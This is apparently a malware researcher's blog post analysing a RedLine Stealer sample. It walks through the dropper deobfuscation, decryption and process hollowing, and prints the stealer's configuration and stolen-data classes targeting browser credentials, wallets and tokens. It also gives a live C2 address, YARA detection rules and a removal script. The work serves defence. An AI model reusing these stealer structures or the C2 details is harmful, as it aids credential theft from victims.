Post

RedLine

RedLine Stealer is an information stealer gathering data such as passwords, credit card numbers, and cryptocurrency wallet addresses. It is a modular malware, meaning that it can be customized to steal specific types of data.

It is typically distributed through phishing emails and compromised software downloads. Once it is installed on a computer, it will steal data from a variety of sources, including web browsers, FTP clients, messaging clients and cryptocurrency wallets.

RedLine Stealer also has the ability to collect system information, such as the operating system, installed software, and hardware configuration. This information can be used to target the victim with further attacks.

Attack Flow graph :

Attack flow graph

Sample Analysis

First Stage

PropertyValue
File Type32-bit .NET executable
SHA-256D1FE4CF589C8852FBC60FDCDC39BF944E27CCC2AE634B98EE841D9A9C4C6F55F
SSDEEP6144:5rwSOSu/CmfQnbol39kCUBDyTic+fZuWOuSzI:izD/Cmybobk5BeTic+BuWOuSzI
Original FilenameTransportSecurityBindingElement.exe

This file works as a dropper for a second stage, it’s fairly obfuscated and loaded with a ton of junk code and a lot of Russian strings even after deobfuscating it.

There is more than one decryption method with different signatures, I wrote this script to get the Token of the decryption method based on its signature. Then invoke them with de4dot.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
# Load dnlib by Reflection
[System.Reflection.Assembly]::LoadFile("C:\Users\REM\Desktop\Analysis\dnlib.dll") | Out-Null   

# Load the .NET assembly
$file = "C:\Users\REM\Desktop\Analysis\sample2"

# Finds decryption method by signature
function FindStringDecryptionMethod($methods)
{
    foreach($method in $methods)
    {
        if(-not $method.HasBody){continue}
        if($method.Parameters.Count -eq 2 -and $method.Parameters[0].Type.FullName -eq "System.String" -and $method.Parameters[1].Type.FullName -eq "System.String" -and $method.ReturnType.FullName -eq "System.String")
        {
            [array]$methodsToInvoke += $method
        }
        elseif ($method.Parameters.Count -eq 2 -and $method.Parameters[0].Type.FullName -eq "System.String" -and $method.Parameters[1].Type.FullName -eq "System.Int32" -and $method.ReturnType.FullName -eq "System.String")
        {
            [array]$methodsToInvoke += $method
        }
        elseif ($method.Parameters.Count -eq 1 -and $method.Parameters[0].Type.FullName -eq "System.Int32" -and $method.ReturnType.FullName -eq "System.Object")
        {
            [array]$methodsToInvoke += $method
        }
        elseif ($method.Parameters.Count -eq 1 -and $method.Parameters[0].Type.FullName -eq "System.Int32" -and $method.ReturnType.FullName -eq "System.String")
        {
            [array]$methodsToInvoke += $method
        }
    }
    return  $methodsToInvoke
}

$moduleDefMD = [dnlib.DotNet.ModuleDefMD]::Load($file)

# Iterate all methods
$methods = $moduleDefMD.GetTypes().ForEach{$_.Methods}
$decryptionMethods = FindStringDecryptionMethod -methods $methods

Write-Host $decryptionMethods.MDToken

I cleaned it using this with the tokens I have :

1
de4dot.exe sample2 --strtyp delegate --strtok 06000059 --strtok 06000061 --strtok 060000A7 --strtok 060000B9 --strtok 060000C2 --strtok 06000133 --strtok 06000170

The sample is dynamically delegating libraries from kernel32.dll : FindResourceA, VirtualAlloc, VitrualProtect and OpenProcess and Decrypting resources with AES-CBC Mode, etc. Lots of them are most likely just “RabbitHoles”.

It uses a class constructor to decrypt and load the second stage. It’s stored in a huge array, decrypted with DES-ECB Mode, PKCS7 Padding with the key InstanceKeyCollisionException string hashed with MD5.

The second stage is a DLL, It calls the Core.RGB function with the huge byte array to decrypt and launch as the final payload.

code snippet

Calling RGB to decrypt and launch the final payload :

third stage

Second Stage

PropertyValue
File Type32-bit .NET dll
SHA-25697CDDE692FADBB6D04DC59BA21E3F41B186810EE8962C6D3D2D33292EF4085D7
SSDEEP3072:Sj3pekbcdxXzc+/O6PN7GCm1tmjaabJvfJHxACl:o3pHcdxzcK7K1tmjLbJ9xAC
Original FilenameRGBCore.dll

This is very similar to the first stage sample so I took the same deobfuscation approach and cleaned it then replaced it in memory before it was loaded.

1
de4dot.exe sample2_stage2.bin --strtyp delegate --strtok 0600001E --strtok 06000091 --strtok 060000B6 --strtok 0600012B --strtok 06000207

This time it has a simple anti-debugging technique by checking for its presence :

debugger check

The final payload is gzip compressed and “encrypted” by reversing the whole binary and each byte with an even offset is reversed.

Magic bytes for gzip archive can be found here:

gzip

The payload is decrypted and then launched as a new process using these APIs for process hollowing :

APIs

Final payload captured in memory :

payload

Final Payload

PropertyValue
File Type32-bit .NET executable
SHA-256DBA3833B916F0D5029A74BD1CA979088B9194EF92D57826B9626405B4B5E7927
SSDEEP1536:XHB+zRmEOxAuUuH3WiitPZptmMJE9se8xaumbf9Bo3IHTPyH8doO3XtxbIj8EvG7:XwzRmEnuUIWiitPftmMJE9sRxa71UIHl
Original FilenameMeint.exe

The final payload is an information stealer. The executable is not stripped nor obfuscated.

It has the following configuration :

config

The strings are base64 encoded then XOR-ed with the key Pythonic and base64 encoded again.

It contains the C2 IP to send stolen data to and receive new configurations and commands from. It has the Stealer_ID to embed in the report to the C2, a message to display in a MessageBox to the user (not enabled in this sample) and the XOR Key.

1
2
C2 IP : 46.8.19.196:53773
Stealer ID : ytmaloy8

It’d regularly contact the C2 to receive updates, configuration and sending stolen info. It can be set to steal data from Chromium and Gekko-based browsers, Discord tokens, Telegram chats, Steam data, VPN and FTP credentials, Crypto wallets and taking screenshots, additionally, it gathers tons of information about the infected machine including precise location, installed software, installed AntiViruses, Username, GPU and CPU detailed information. It’d also avoid certain IPs/Countries if provided.

Configuration Class :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
public class ScanningArgs
{
 [DataMember(Name = "ScanBrowsers")]
 public bool ScanBrowsers { get; set; }

 [DataMember(Name = "ScanFiles")]
 public bool ScanFiles { get; set; }

 [DataMember(Name = "ScanFTP")]
 public bool ScanFTP { get; set; }

 [DataMember(Name = "ScanWallets")]
 public bool ScanWallets { get; set; }

 [DataMember(Name = "ScanScreen")]
 public bool ScanScreen { get; set; }

 [DataMember(Name = "ScanTelegram")]
 public bool ScanTelegram { get; set; }

 [DataMember(Name = "ScanVPN")]
 public bool ScanVPN { get; set; }

 [DataMember(Name = "ScanSteam")]
 public bool ScanSteam { get; set; }

 [DataMember(Name = "ScanDiscord")]
 public bool ScanDiscord { get; set; }

 [DataMember(Name = "ScanFilesPaths")]
 public List<string> ScanFilesPaths { get; set; }

 [DataMember(Name = "BlockedCountry")]
 public List<string> BlockedCountry { get; set; }

 [DataMember(Name = "BlockedIP")]
 public List<string> BlockedIP { get; set; }

 [DataMember(Name = "ScanChromeBrowsersPaths")]
 public List<string> ScanChromeBrowsersPaths { get; set; }

 [DataMember(Name = "ScanGeckoBrowsersPaths")]
 public List<string> ScanGeckoBrowsersPaths { get; set; }
}

System Scanning and Fingerprinting

  • To generate a machine ID it concatenates the user domain name, username and the disk serial number (utilizing ManagementObjectSearcher/WQL) stripping it from - and \ characters to generate an MD5 hash.

  • It fetches the Stealer’s execution location.

  • It gathers System Language, Timezone, Screen size (display resolution) and queries the Windows registry for OS Version details (64/32 bit, Product name and Service pack)

OS Info

  • Current logged-in user

  • It uses https://api.ip.sb/geoip to get GeoLocation info (IP, city, country, postal code) and if this fails, it tries to get the IP using these :

    1
    2
    
      https://ipinfo.io/ip
      https://api.ipify.org
    
  • It checks if this victim was already targeted in previous campaigns by checking for Yandex\YaAddon file in the %AppDataLocal%\Yandex\YaAddon folder.

It also fetches other system information and locates it in the ScanDetails member along with parsed data.

Here is the “Scan Result” struct, I commented on each member indicating its content :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
public struct ScanResult
{
        // >> Victim ID
 [DataMember(Name = "Hardware")]
 public string Hardware { get; set; }

    // >> Stealer/Campaign ID
 [DataMember(Name = "ReleaseID")]
 public string ReleaseID { get; set; }

    // >> Victim logged in user
 [DataMember(Name = "MachineName")]
 public string MachineName { get; set; }

    // >> System architecture and OS Version details
 [DataMember(Name = "OSVersion")]
 public string OSVersion { get; set; }

    // >> Victim system language
 [DataMember(Name = "Language")]
 public string Language { get; set; }

    // >> Victim screen resolution
 [DataMember(Name = "ScreenSize")]
 public string ScreenSize { get; set; }

    // >> Stolen Data
 [DataMember(Name = "ScanDetails")]
 public ScanDetails ScanDetails { get; set; }

    // >> Victim location
 [DataMember(Name = "Country")]
 public string Country { get; set; }

    // >> Victim city
 [DataMember(Name = "City")]
 public string City { get; set; }

    // >> Victim Timezone
 [DataMember(Name = "TimeZone")]
 public string TimeZone { get; set; }

    // >> Victim IP
 [DataMember(Name = "IPv4")]
 public string IPv4 { get; set; }

    // >> Screenshot
 [DataMember(Name = "Monitor")]
 public byte[] Monitor { get; set; }

    // >> Victim postal code
 [DataMember(Name = "ZipCode")]
 public string ZipCode { get; set; }

    // >> Stealer Execution Path
 [DataMember(Name = "FileLocation")]
 public string FileLocation { get; set; }

    // >> Already infected - Flag
 [DataMember(Name = "SeenBefore")]
 public bool SeenBefore { get; set; }
}

Data Exfiltrated

The stolen data is stored in the ScanDetails member in the previously mentioned struct in addition to extra information about the infected host.

Of course, the parsed credentials are decrypted/unprotected.

unprotect

Here are some more details about what data is exfiltrated :

  • System Information

    • Processor information (Name and number of cores)

    • GPU information (Name and VRAM)

    • Installed Browsers (Name, version and path)

    query browsers

    • Total RAM Size

    • Installed Software (Name and Version)

    • Installed AVs, Firewalls and AntiSpyware (Name)

    • List of all running processes (Name, PID and Commandline)

    • Available Languages

    • ScreenShot (If enabled in configuration)

  • Stolen credentials :

    • Scans Telegram for tdata folder (contains all session data, messages, images, etc.)

    • Scanns browsers (Chromium and Gekko-based) listed in the configuration fetching browser name, browser profile, logins, autofill passwords, CreditCards (HolderName, expiration date and number) and cookies.

    • File grabber (if enabled) fetches specified file data, filename/application name, directory and path

    • Fetches FTP (FileZilla) credentials (username, password, recently visited URL)

    • Fetches crypto wallets from browser extensions :

      • YoroiWallet
      • Tronlink
      • NiftyWallet
      • Metamask
      • MathWallet
      • Coinbase
      • BinanceChain
      • BraveWallet
      • GuardaWallet
      • EqualWallet
      • JaxxxLiberty
      • BitAppWallet
      • iWallet
      • Wombat
      • AtomicWallet
      • MewCx
      • GuildWallet
      • SaturnWallet
      • RoninWallet
    • Fetches crypto wallets from Desktop apps in addition to a rule for *wallet* files. Desktop apps :

      • Armory
      • atomic
      • Coinomi
      • Electrum
      • Ethereum
      • Exodus
      • Guarda
      • Jaxx Liberty
    • Grabs Discord tokens file tokens.txt

    • Grabs Steam config file containing Steam ID

    • Fethces OpenVPN, NordVPN and ProtonVPN accounts.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
public class ScanDetails
{
        // >> Installed security software
 [DataMember(Name = "SecurityUtils")]
 public List<string> SecurityUtils { get; set; } = new List<string>();

 [DataMember(Name = "AvailableLanguages")]
 public List<string> AvailableLanguages { get; set; } = new List<string>();

        // >> Installed software
 [DataMember(Name = "Softwares")]
 public List<string> Softwares { get; set; } = new List<string>();

        // >> All running processes (PID, Name and Commandline)
 [DataMember(Name = "Processes")]
 public List<string> Processes { get; set; } = new List<string>();

        // >> System hardware information (CPU, GPU and RAM)
 [DataMember(Name = "SystemHardwares")]
 public List<SystemHardware> SystemHardwares { get; set; } = new List<SystemHardware>();

        // >> Parsed browsers data (Name, Profile, Autofill Passwords, Logins, CreditCards and Cookies)
 [DataMember(Name = "Browsers")]
 public List<ScannedBrowser> Browsers { get; set; } = new List<ScannedBrowser>();

        // >> Parsed FTP (FileZilla) credentials (URLs, Username and Passwords)
 [DataMember(Name = "FtpConnections")]
 public List<Account> FtpConnections { get; set; } = new List<Account>();

        // >> Installed broswers (Name, Version and Path)
 [DataMember(Name = "InstalledBrowsers")]
 public List<BrowserVersion> InstalledBrowsers { get; set; } = new List<BrowserVersion>();

        // >> Exfiltrated files data (Path, Directory, Name, File body and Application name)
 [DataMember(Name = "ScannedFiles")]
 public List<ScannedFile> ScannedFiles { get; set; } = new List<ScannedFile>();

        // >> Steam config file
 [DataMember(Name = "GameLauncherFiles")]
 public List<ScannedFile> GameLauncherFiles { get; set; } = new List<ScannedFile>();

        // >> Parsed wallets data
 [DataMember(Name = "ScannedWallets")]
 public List<ScannedFile> ScannedWallets { get; set; } = new List<ScannedFile>();

        // >> Parsed NordVPN account credentials
 [DataMember(Name = "Nord")]
 public List<Account> NordAccounts { get; set; }

        // >> Parsed OpenVPN account credentials
 [DataMember(Name = "Open")]
 public List<ScannedFile> Open { get; set; }

        // >> Parsed ProtonVPN account credentials
 [DataMember(Name = "Proton")]
 public List<ScannedFile> Proton { get; set; }

        // >> Discord tokens
 [DataMember(Name = "MessageClientFiles")]
 public List<ScannedFile> MessageClientFiles { get; set; }

        // >> Telegram session data, messages, images, etc
 [DataMember(Name = "GameChatFiles")]
 public List<ScannedFile> GameChatFiles { get; set; }
}

It additionally can execute commands via CMD, update the stealer and download and optionally execute other payloads

Tasks

IOCs

Files

  • %AppDataLocal%\Yandex\YaAddon

IPs

1
46.8.19.196:53773

YARA Rule

For the original dropper :

1
2
3
4
5
6
7
8
9
10
11
12
13
rule RedLine_Dropper {
   meta:
      author = "@3weSxZero"
      date = "2023-08-29"
      hash1 = "d1fe4cf589c8852fbc60fdcdc39bf944e27ccc2ae634b98ee841d9a9c4c6f55f"
   strings:
      $s1 = "h9JjApdjrpLtgaShqS.GTYNEDuLL0AWC2mNxd+kP4HBfKH2viTf5GPNr+D2GTmjHqjYHoe050T4`1[[System.Object, mscorlib, Version=4.0.0.0, Culture" ascii
      $s2 = "h9JjApdjrpLtgaShqS.GTYNEDuLL0AWC2mNxd+kP4HBfKH2viTf5GPNr+D2GTmjHqjYHoe050T4`1[[System.Object, mscorlib, Version=4.0.0.0, Culture" ascii
      $op1 = { FE 06 5A 00 00 06 73 33 00 00 0A 6F 34 00 00 0A}
      $op2= {7E 25 00 00 04 28 75 00 00 06 7E 25 00 00 04 6F 9D 00 00 06 28 76 00 00 06 28 77 00 00 06}
   condition:
      uint16(0) == 0x5a4d and filesize < 1000KB and any of ($s*) and 2 of ($op*)
}

For RedLine stealer :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
rule RedLine_Pyaload {
   meta:
      author = "@3weSxZero"
      date = "2023-08-29"
      hash1 = "dba3833b916f0d5029a74bd1ca979088b9194ef92d57826b9626405b4b5e7927"
   strings:
      $s1 = "Meint.exe" fullword wide
      $s2 = "DownloadAndExecuteUpdate" fullword ascii
      $s3 = "SELECT * FROM Win32_Process Where SessionId='" fullword wide
      $s4 = "https://ipinfo.io/ip%appdata%\\" fullword wide
      $s5 = "get_TaskProcessors" fullword ascii
      $s6 = "get_encrypted_key" fullword ascii
      $s7 = "%appdata%\\discord\\Local Storage\\leveldb" fullword wide
      $s8 = "get_ScanGeckoBrowsersPaths" fullword ascii
      $s9 = "RunPE" fullword ascii
      $s10 = "GetFirewalls" fullword ascii
      $s11 = "GetBrowsers" fullword ascii
      $s12 = "DownloadAndEx" fullword ascii
      $s13 = "GetLogicalDrives" fullword ascii
      $s14 = "settings" fullword ascii
      $op1 = {FE 06 ?? ?? ?? 06 73 CF 01 00 06 A2 25 17 14}
   condition:
      uint16(0) == 0x5a4d and filesize < 300KB and 10 of ($s*) and $op1
}

Removal Tool

Here’s a simple POC for a removal tool I wrote for this sample :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
import yara
import os
import psutil
import signal

rules = yara.compile(filepaths={
  'drropper_rule':"rules\\dropper_rule.yar",
  'redline_rule':"rules\\payload_rule.yar"
})


def removal_routine(data=None, pid=None):
    if data != None :
        print(f"[MATCHED] File :: {file.name} ---- Attempting DELETION\n")
        try :
            file.close()
            os.remove(file.name)
        except() as error:
            print(f"error on deleting {file.name} :: {error} \n")
            pass
        print(f"[DELETED] File :: {file.name} \n")
    if pid != None :
        print(f"[MATCHED] ProccessID {pid} ---- Attempting STOPPING \n")
        try :
            os.kill(pid, signal.SIGSTOP)
        except() as error :
            print(f"error on stoping process -- PID{pid} :: {error} \n")
            pass
        print(f"[STOPPED] PID : {pid} \n")
    return yara.CALLBACK_CONTINUE

try :
    os.remove("%AppDataLocal%\\Yandex\\YaAddon")
except():
    pass

directory ='DIR_Name'
for filename in os.listdir(directory):
    f = os.path.join(directory, filename)
    # checking if it is a file
    if os.path.isfile(f):
        with open(f, 'rb') as file:
             matches = rules.match(data=file.read(), callback=removal_routine, which_callbacks=yara.CALLBACK_MATCHES)

for proc in psutil.process_iter():
    try:
        # Get process name & pid from process object.
        processName = proc.name()
        processID = proc.pid
        try:
            matches = rules.match(pid=processID, callback=removal_routine, which_callbacks=yara.CALLBACK_MATCHES)
        except(yara.Error) as error:
            print(f"error on accessing Process : {processID} {processName} -- {error}")
            pass
    except (psutil.NoSuchProcess, psutil.AccessDenied, psutil.ZombieProcess):
        pass

MITRE ATT&CK® TTPs

IDNameUse
T1083File and Directory DiscoveryEnumerate system files
T1055.012Process Injection: Process HollowingProcess injection to write the RedLine payload into memory
T1087.002Account Discovery: Domain AccountGets user domain name to be used in system fingerprinting
T1087.001Account Discovery: Local AccountGets user name to be used in system fingerprinting
T1217Browser Information DiscoveryEnumerates browsers to steal stored data and credentials
T1622Debugger EvasionDetecting debugger presence
T1057Process DiscoveryPareses a list of running processes and information regarding each process
T1012Query RegistryQueries registeries gathering more system information (includes installed software, OS version)
T1518.001Software Discovery: Security Software DiscoveryQueries installed security software (firewalls, antivirus, antispyware)
T1518Software DiscoveryQueries installed software gathering version and path information
T1082System Information DiscoveryGathering information about operating system and hardware, including version, service packs, and architecture
T1614.001System Location Discovery: System Language DiscoveryGather information about the system language of a victim
T1614System Location DiscoveryGather information in an attempt to calculate the geographical location of a victim host
T1016System Network Configuration DiscoveryGets victim IP
T1033System Owner/User DiscoveryGets currently logged in user and gets user’s apps credentials
T1124System Time DiscoveryGather the time zone
T1113Screen CaptureTake screen captures of the desktop to gather information
T1005Data from Local Systemsearch local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration
T1560.003Archive Collected Data: Archive via Custom MethodGathered data are written in Json format then encrypted
T1132.002Data Encoding: Non-Standard EncodingData to be exfiltrated are base64 encoded, XOR-ed with the provided key then base64 encoded again
T1020Automated ExfiltrationAttempts to contact C2 for data exfiltration and to receive new configurations/updates after setting a delay functionality
T1041Exfiltration Over C2 ChannelConnects to C2 for data exfiltration
T1059.003Command and Scripting Interpreter: Windows Command Shell 
T1047Windows Management InstrumentationGather information about the infected host including AV products installed, hardware specefications and device disk serial number
This post is licensed under CC BY 4.0 by the author.